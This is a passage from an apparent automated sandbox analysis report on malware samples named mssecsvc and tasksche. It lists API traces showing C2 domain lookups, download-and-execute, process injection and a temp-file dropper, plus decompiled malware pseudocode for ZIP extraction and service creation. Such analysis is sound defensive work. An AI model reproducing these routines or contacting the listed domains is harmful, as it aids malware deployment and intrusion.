                    • Instruction ID: 9d7a0edf8395d02bdb3222331a00bfe847c5167623d17b4b3927ccf0a8489e01
                    • Opcode Fuzzy Hash: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                    • Instruction Fuzzy Hash: 5381FE71508388BFEB228F348C59BEA7BADEF41304F040659E84A9E091C7F66F45C762
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23F60 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 215librarystringthreadCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(00C23F54), ref: 00C23F60
                      • Part of subcall function 00C23F8F: LoadLibraryA.KERNEL32(00C23F83), ref: 00C23F8F
                      • Part of subcall function 00C23F8F: WSAStartup.WS2_32(00000101), ref: 00C23FCE
                      • Part of subcall function 00C23F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C23FE9
                      • Part of subcall function 00C23F8F: CloseHandle.KERNEL32(?,00000000), ref: 00C23FF2
                      • Part of subcall function 00C23F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C23FFF
                      • Part of subcall function 00C23F8F: socket.WS2_32(00000002,00000001,00000000), ref: 00C24097
                      • Part of subcall function 00C23F8F: connect.WS2_32(2E777605,00C23B09,00000010), ref: 00C240B1
                      • Part of subcall function 00C23F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 00C240FB
                    • lstrlen.KERNEL32(vw.civix.pl,?,00000000), ref: 00C24057
                    • gethostbyname.WS2_32(vw.civix.pl), ref: 00C24066
                    • wsprintfA.USER32 ref: 00C24179
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003819,2E777605,00000000), ref: 00C241B4
                    • CloseHandle.KERNEL32(?,00000000,2E777605,00C26AA2,00000000,00000000), ref: 00C241BD
                    • GetTickCount.KERNEL32 ref: 00C241F6
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE
                    • API String ID: 2996464229-3507925353
                    • Opcode ID: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                    • Instruction ID: c22e36bc0dccc7c7aa42e86a583f20db577d53fd0ca85ba78abd733112687917
                    • Opcode Fuzzy Hash: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                    • Instruction Fuzzy Hash: EE81FF715082A9BFEB259F349C59BEA7FACEF41300F040658E8599E5C2C2F45F45C762
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                    Download Yara Rule
                    APIs
                    • GetSystemTime.KERNEL32(7FEA7584), ref: 7FEA389F
                    • Sleep.KERNEL32(0000EA60), ref: 7FEA3911
                    • InternetGetConnectedState.WININET(?,00000000), ref: 7FEA392A
                    • gethostbyname.WS2_32(0D278125), ref: 7FEA396C
                    • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA3981
                    • ioctlsocket.WS2_32(?,8004667E), ref: 7FEA399A
                    • connect.WS2_32(?,?,00000010), ref: 7FEA39B3
                    • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 7FEA39C1
                    • closesocket.WS2_32 ref: 7FEA3A20
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                    • String ID: xiozyy.com
                    • API String ID: 159131500-3035807449
                    • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                    • Instruction ID: 863d8d36320b09296de0ef8eaaf11b1bc77ac7fb125708de1e92797cd0aa2464
                    • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                    • Instruction Fuzzy Hash: 4641C531604348BEDB218F208C49BE9BB6EEF85714F004159F90AEE1C1DBF79B409720
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 7FEA144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                      • Part of subcall function 7FEA144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                    • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                    • FreeLibrary.KERNEL32(74D90000,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07B8
                    • CloseHandle.KERNEL32(?,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07BF
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                    • Process32First.KERNEL32 ref: 7FEA07DC
                    • Process32Next.KERNEL32 ref: 7FEA07ED
                    • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                    • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                    • CloseHandle.KERNEL32 ref: 7FEA086C
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: CloseHandle$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                    • String ID: csrs
                    • API String ID: 3908997113-2321902090
                    • Opcode ID: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                    • Instruction ID: 84bb5cd5c05f80c9023c3546aa49ac891d3b4ee2c4a24ef2c536b510610674c9
                    • Opcode Fuzzy Hash: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                    • Instruction Fuzzy Hash: 59113D30502205BBEB255F31CD49BBF3A6DEF44711F00016CFE4B9E081DAB69B018AAA
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA2768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                    Download Yara Rule
                    APIs
                    • GetTempPathA.KERNEL32(00000104), ref: 7FEA278C
                      • Part of subcall function 7FEA27A7: GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                      • Part of subcall function 7FEA27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                      • Part of subcall function 7FEA27A7: InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                      • Part of subcall function 7FEA27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                      • Part of subcall function 7FEA27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                      • Part of subcall function 7FEA27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                      • Part of subcall function 7FEA27A7: InternetCloseHandle.WININET(?), ref: 7FEA2833
                    • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                    • String ID:
                    • API String ID: 1995088466-0
                    • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                    • Instruction ID: c1ca02f886126752e6f21441145c1cc666a01a53b77e18b91c733c89828b9d16
                    • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                    • Instruction Fuzzy Hash: A821C0B1145306BFE7215A20CC8AFFF3A6DEF95B10F000119FA4AAD081D7B29B15C6A6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C22768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                    Download Yara Rule
                    APIs
                    • GetTempPathA.KERNEL32(00000104), ref: 00C2278C
                      • Part of subcall function 00C227A7: GetTempFileNameA.KERNEL32(?,00C227A3,00000000,?), ref: 00C227A8
                      • Part of subcall function 00C227A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00C227A3,00000000,?), ref: 00C227C3
                      • Part of subcall function 00C227A7: InternetReadFile.WININET(?,?,00000104), ref: 00C227DD
                      • Part of subcall function 00C227A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00C227A3,00000000,?), ref: 00C227F3
                      • Part of subcall function 00C227A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00C227A3,00000000,?), ref: 00C227FF
                      • Part of subcall function 00C227A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00C227A3), ref: 00C22823
                      • Part of subcall function 00C227A7: InternetCloseHandle.WININET(?), ref: 00C22833
                    • InternetCloseHandle.WININET(00000000), ref: 00C2283A
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                    • String ID:
                    • API String ID: 1995088466-0
                    • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                    • Instruction ID: aa20099b4dcfa13191831aa1df14adc2dffcc8c9e0bd3126e3d188000c6806ec
                    • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                    • Instruction Fuzzy Hash: 0D21CDB1148216BFE7315A20DC8EFFF3A2DEF95B10F000129FA4999482D7B19F15C6A6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA27A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                    Download Yara Rule
                    APIs
                    • GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                    • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                    • InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                    • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                    • CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                    • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                    • InternetCloseHandle.WININET(?), ref: 7FEA2833
                    • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                    • String ID:
                    • API String ID: 3452404049-0
                    • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                    • Instruction ID: 5e72b063bb693ddb0cec3f1fad15b0eca3dde0b314aeb166be0943229ddb0145
                    • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                    • Instruction Fuzzy Hash: 56116DB1100606BBEB250B20CC4AFFB7A6DEF85B14F004519FA06AD080DBF5AB5196A8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(0178F930), ref: 7FEA113D
                    • GetProcAddress.KERNEL32(00000000,7FEA11D6), ref: 7FEA1148
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressHandleModuleProc
                    • String ID: .DLL
                    • API String ID: 1646373207-899428287
                    • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                    • Instruction ID: 2f73ade5318114d7e9bf37e66f68aeb85e6b2a503a621854e5f62f64a3af89c8
                    • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                    • Instruction Fuzzy Hash: D701D634607104EACB538E38C845BFE3B7EFF14275F004115D91A8F159C77A9A508F95
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C210CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(0178F930), ref: 00C2113D
                    • GetProcAddress.KERNEL32(00000000,00C211D6), ref: 00C21148
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressHandleModuleProc
                    • String ID: .DLL
                    • API String ID: 1646373207-899428287
                    • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                    • Instruction ID: 12ba62d8b7ae27c801a45e26cc7b5d9c7035378e9b980d828d80c2a334a176b5
                    • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                    • Instruction Fuzzy Hash: 9101D630607020FACF648E3CE849BAE3B6DFF24351F184114EE1A8B956C7708F609695
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E00406C40(intOrPtr* __ecx, void* __edx, intOrPtr _a4, void* _a8, signed int _a11) {
				signed int _v5;
				signed char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				char _v44;
				unsigned int _v72;
				intOrPtr _v96;
				intOrPtr _v100;
				unsigned int _v108;
				unsigned int _v124;
				char _v384;
				char _v644;
				char _t142;
				char _t150;
				void* _t151;
				signed char _t156;
				long _t173;
				signed char _t185;
				signed char* _t190;
				signed char* _t194;
				intOrPtr* _t204;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t209;
				unsigned int _t210;
				char _t212;
				signed char _t230;
				signed int _t234;
				signed char _t238;
				void* _t263;
				unsigned int _t264;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				intOrPtr _t272;
				char* _t274;
				unsigned int _t276;
				signed int _t277;
				void* _t278;
				intOrPtr* _t280;
				void* _t281;
				intOrPtr _t282;

				_t263 = __edx;
				_t213 = __ecx;
				_t272 = _a4;
				_t208 = _t207 | 0xffffffff;
				_t280 = __ecx;
				_v24 = __ecx;
				if(_t272 < _t208) {
					L61:
					return 0x10000;
				}
				_t131 =  *__ecx;
				if(_t272 >=  *((intOrPtr*)( *__ecx + 4))) {
					goto L61;
				}
				if( *((intOrPtr*)(__ecx + 4)) != _t208) {
					E00406A97(_t131);
					_pop(_t213);
				}
				 *(_t280 + 4) = _t208;
				if(_t272 !=  *((intOrPtr*)(_t280 + 0x134))) {
					if(_t272 != _t208) {
						_t132 =  *_t280;
						if(_t272 >=  *( *_t280 + 0x10)) {
							L12:
							_t133 =  *_t280;
							if( *( *_t280 + 0x10) >= _t272) {
								E004064BB( *_t280,  &_v124,  &_v384, 0x104, 0, 0, 0, 0);
								if(L0040657A(_t213, _t263,  *_t280,  &_v44,  &_v20,  &_v16) == 0) {
									_t142 = E00405D0E( *((intOrPtr*)( *_t280)), _v20, 0);
									if(_t142 != 0) {
										L19:
										return 0x800;
									}
									_push(_v16);
									L00407700();
									_v12 = _t142;
									if(L00405D8A(_t142, 1, _v16,  *((intOrPtr*)( *_t280))) == _v16) {
										_t281 = _a8;
										 *_t281 =  *( *_t280 + 0x10);
										strcpy( &_v644,  &_v384);
										_t209 = __imp___mbsstr;
										_t274 =  &_v644;
										while(1) {
											L21:
											_t150 =  *_t274;
											if(_t150 != 0 && _t274[1] == 0x3a) {
												break;
											}
											if(_t150 == 0x5c || _t150 == 0x2f) {
												_t274 =  &(_t274[1]);
												continue;
											} else {
												_t151 =  *_t209(_t274, "\\..\\");
												if(_t151 != 0) {
													L31:
													_t39 = _t151 + 4; // 0x4
													_t274 = _t39;
													continue;
												}
												_t151 =  *_t209(_t274, "\\../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/..\\");
												if(_t151 == 0) {
													strcpy(_t281 + 4, _t274);
													_t264 = _v72;
													_a11 = _a11 & 0x00000000;
													_v5 = _v5 & 0x00000000;
													_t156 = _t264 >> 0x0000001e & 0x00000001;
													_t230 =  !(_t264 >> 0x17) & 0x00000001;
													_t276 = _v124 >> 8;
													_t210 = 1;
													if(_t276 == 0 || _t276 == 7 || _t276 == 0xb || _t276 == 0xe) {
														_a11 = _t264 >> 0x00000001 & 0x00000001;
														_t230 = _t264 & 0x00000001;
														_v5 = _t264 >> 0x00000002 & 0x00000001;
														_t156 = _t264 >> 0x00000004 & 0x00000001;
														_t264 = _t264 >> 0x00000005 & 0x00000001;
														_t210 = _t264;
													}
													_t277 = 0;
													 *(_t281 + 0x108) = 0;
													if(_t156 != 0) {
														 *(_t281 + 0x108) = 0x10;
													}
													if(_t210 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000020;
													}
													if(_a11 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000002;
													}
													if(_t230 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000001;
													}
													if(_v5 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000004;
													}
													 *((intOrPtr*)(_t281 + 0x124)) = _v100;
													 *((intOrPtr*)(_t281 + 0x128)) = _v96;
													_v40.dwLowDateTime = E00406B23(_v108 >> 0x10, _v108);
													_v40.dwHighDateTime = _t264;
													LocalFileTimeToFileTime( &_v40,  &_v32);
													_t173 = _v32.dwLowDateTime;
													_t234 = _v32.dwHighDateTime;
													_t212 = _v12;
													 *(_t281 + 0x10c) = _t173;
													 *(_t281 + 0x114) = _t173;
													 *(_t281 + 0x11c) = _t173;
													 *(_t281 + 0x110) = _t234;
													 *(_t281 + 0x118) = _t234;
													 *(_t281 + 0x120) = _t234;
													if(_v16 <= 4) {
														L57:
														if(_t212 != 0) {
															_push(_t212);
															L004076E8();
														}
														_t282 = _v24;
														memcpy(_t282 + 8, _t281, 0x12c);
														 *((intOrPtr*)(_t282 + 0x134)) = _a4;
														goto L60;
													} else {
														while(1) {
															_v12 =  *((intOrPtr*)(_t277 + _t212));
															_v10 = _v10 & 0x00000000;
															_v11 =  *((intOrPtr*)(_t212 + _t277 + 1));
															_a8 =  *(_t212 + _t277 + 2) & 0x000000ff;
															if(strcmp( &_v12, "UT") == 0) {
																break;
															}
															_t277 = _t277 + _a8 + 4;
															if(_t277 + 4 < _v16) {
																continue;
															}
															goto L57;
														}
														_t238 =  *(_t277 + _t212 + 4) & 0x000000ff;
														_t185 = _t238 >> 0x00000001 & 0x00000001;
														_t278 = _t277 + 5;
														_a11 = _t185;
														_v5 = _t238 >> 0x00000002 & 0x00000001;
														if((_t238 & 0x00000001) != 0) {
															_t271 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t194 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x11c) = E00406B02(_t271,  *_t194 & 0x000000ff | (0 << 0x00000008 | _t271) << 0x00000008);
															_t185 = _a11;
															 *(_t281 + 0x120) = _t271;
														}
														if(_t185 != 0) {
															_t270 =  *(_t278 + _t212 + 1) & 0x000000ff;
															_t190 = _t278 + _t212;
															_t278 = _t278 + 4;
															 *(_t281 + 0x10c) = E00406B02(_t270,  *_t190 & 0x000000ff | (0 << 0x00000008 | _t270) << 0x00000008);
															 *(_t281 + 0x110) = _t270;
														}
														if(_v5 != 0) {
															_t269 =  *(_t278 + _t212 + 1) & 0x000000ff;
															 *(_t281 + 0x114) = E00406B02(_t269,  *(_t278 + _t212) & 0x000000ff | (0 << 0x00000008 | _t269) << 0x00000008);
															 *(_t281 + 0x118) = _t269;
														}
														goto L57;
													}
												}
												goto L31;
											}
										}
										_t274 =  &(_t274[2]);
										goto L21;
									}
									_push(_v12);
									L004076E8();
									goto L19;
								}
								return 0x700;
							}
							E00406520(_t133);
							L11:
							_pop(_t213);
							goto L12;
						}
						E004064E2(_t213, _t132);
						goto L11;
					}
					goto L8;
				} else {
					if(_t272 == _t208) {
						L8:
						_t204 = _a8;
						 *_t204 =  *((intOrPtr*)( *_t280 + 4));
						 *((char*)(_t204 + 4)) = 0;
						 *((intOrPtr*)(_t204 + 0x108)) = 0;
						 *((intOrPtr*)(_t204 + 0x10c)) = 0;
						 *((intOrPtr*)(_t204 + 0x110)) = 0;
						 *((intOrPtr*)(_t204 + 0x114)) = 0;
						 *((intOrPtr*)(_t204 + 0x118)) = 0;
						 *((intOrPtr*)(_t204 + 0x11c)) = 0;
						 *((intOrPtr*)(_t204 + 0x120)) = 0;
						 *((intOrPtr*)(_t204 + 0x124)) = 0;
						 *((intOrPtr*)(_t204 + 0x128)) = 0;
						L60:
						return 0;
					}
					memcpy(_a8, _t280 + 8, 0x12c);
					goto L60;
				}
			}


















































                    0x00406c40
                    0x00406c40
                    0x00406c4c
                    0x00406c4f
                    0x00406c52
                    0x00406c56
                    0x00406c59
                    0x00407064
                    0x00000000
                    0x00407064
                    0x00406c5f
                    0x00406c64
                    0x00000000
                    0x00000000
                    0x00406c6d
                    0x00406c70
                    0x00406c75
                    0x00406c75
                    0x00406c7c
                    0x00406c7f
                    0x00406ca0
                    0x00406cec
                    0x00406cf1
                    0x00406cfa
                    0x00406cfa
                    0x00406cff
                    0x00406d21
                    0x00406d3e
                    0x00406d52
                    0x00406d5c
                    0x00406d89
                    0x00000000
                    0x00406d89
                    0x00406d5e
                    0x00406d61
                    0x00406d68
                    0x00406d7e
                    0x00406d95
                    0x00406d9b
                    0x00406dab
                    0x00406db0
                    0x00406db8
                    0x00406dbe
                    0x00406dbe
                    0x00406dbe
                    0x00406dc2
                    0x00000000
                    0x00000000
                    0x00406dd0
                    0x00406dd6
                    0x00000000
                    0x00406dd9
                    0x00406ddf
                    0x00406de5
                    0x00406e11
                    0x00406e11
                    0x00406e11
                    0x00000000
                    0x00406e11
                    0x00406ded
                    0x00406df3
                    0x00000000
                    0x00000000
                    0x00406dfb
                    0x00406e01
                    0x00000000
                    0x00000000
                    0x00406e09
                    0x00406e0f
                    0x00406e1b
                    0x00406e20
                    0x00406e28
                    0x00406e2c
                    0x00406e3c
                    0x00406e3e
                    0x00406e41
                    0x00406e44
                    0x00406e46
                    0x00406e61
                    0x00406e6b
                    0x00406e6d
                    0x00406e78
                    0x00406e7a
                    0x00406e7c
                    0x00406e7c
                    0x00406e7e
                    0x00406e82
                    0x00406e88
                    0x00406e8a
                    0x00406e8a
                    0x00406e96
                    0x00406e98
                    0x00406e98
                    0x00406ea3
                    0x00406ea5
                    0x00406ea5
                    0x00406eae
                    0x00406eb0
                    0x00406eb0
                    0x00406ebb
                    0x00406ebd
                    0x00406ebd
                    0x00406eca
                    0x00406ed3
                    0x00406ee6
                    0x00406ef2
                    0x00406ef5
                    0x00406efb
                    0x00406efe
                    0x00406f05
                    0x00406f08
                    0x00406f0e
                    0x00406f14
                    0x00406f1a
                    0x00406f20
                    0x00406f26
                    0x00406f2c
                    0x00407037
                    0x00407039
                    0x0040703b
                    0x0040703c
                    0x00407041
                    0x00407048
                    0x0040704f
                    0x0040705a
                    0x00000000
                    0x00406f32
                    0x00406f32
                    0x00406f3a
                    0x00406f41
                    0x00406f45
                    0x00406f4d
                    0x00406f5d
                    0x00000000
                    0x00000000
                    0x00406f62
                    0x00406f6c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00406f6e
                    0x00406f73
                    0x00406f81
                    0x00406f86
                    0x00406f89
                    0x00406f8f
                    0x00406f92
                    0x00406f94
                    0x00406f99
                    0x00406f9e
                    0x00406fba
                    0x00406fc0
                    0x00406fc4
                    0x00406fc4
                    0x00406fcc
                    0x00406fce
                    0x00406fd3
                    0x00406fd8
                    0x00406ff4
                    0x00406ffb
                    0x00406ffb
                    0x00407005
                    0x00407007
                    0x0040702a
                    0x00407031
                    0x00407031
                    0x00000000
                    0x00407005
                    0x00406f2c
                    0x00000000
                    0x00406e0f
                    0x00406dd0
                    0x00406dcb
                    0x00000000
                    0x00406dcb
                    0x00406d80
                    0x00406d83
                    0x00000000
                    0x00406d88
                    0x00000000
                    0x00406d40
                    0x00406d02
                    0x00406cf9
                    0x00406cf9
                    0x00000000
                    0x00406cf9
                    0x00406cf4
                    0x00000000
                    0x00406cf4
                    0x00000000
                    0x00406c81
                    0x00406c83
                    0x00406ca2
                    0x00406ca7
                    0x00406caa
                    0x00406cae
                    0x00406cb1
                    0x00406cb7
                    0x00406cbd
                    0x00406cc3
                    0x00406cc9
                    0x00406ccf
                    0x00406cd5
                    0x00406cdb
                    0x00406ce1
                    0x00407060
                    0x00000000
                    0x00407060
                    0x00406c91
                    0x00000000
                    0x00406c96

                    APIs
                    • memcpy.MSVCRT(?,?,0000012C,?), ref: 00406C91
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: memcpy
                    • String ID: /../$/..\$\../$\..\
                    • API String ID: 3510742995-3885502717
                    • Opcode ID: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                    • Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
                    • Opcode Fuzzy Hash: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                    • Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401CE8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75serviceCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00401CE8(intOrPtr _a4) {
				void* _v8;
				int _v12;
				void* _v16;
				char _v1040;
				void* _t12;
				void* _t13;
				void* _t31;
				int _t32;

				_v12 = 0;
				_t12 = OpenSCManagerA(0, 0, 0xf003f);
				_v8 = _t12;
				if(_t12 != 0) {
					_t13 = OpenServiceA(_t12, 0x40f8ac, 0xf01ff);
					_v16 = _t13;
					if(_t13 == 0) {
						sprintf( &_v1040, "cmd.exe /c \"%s\"", _a4);
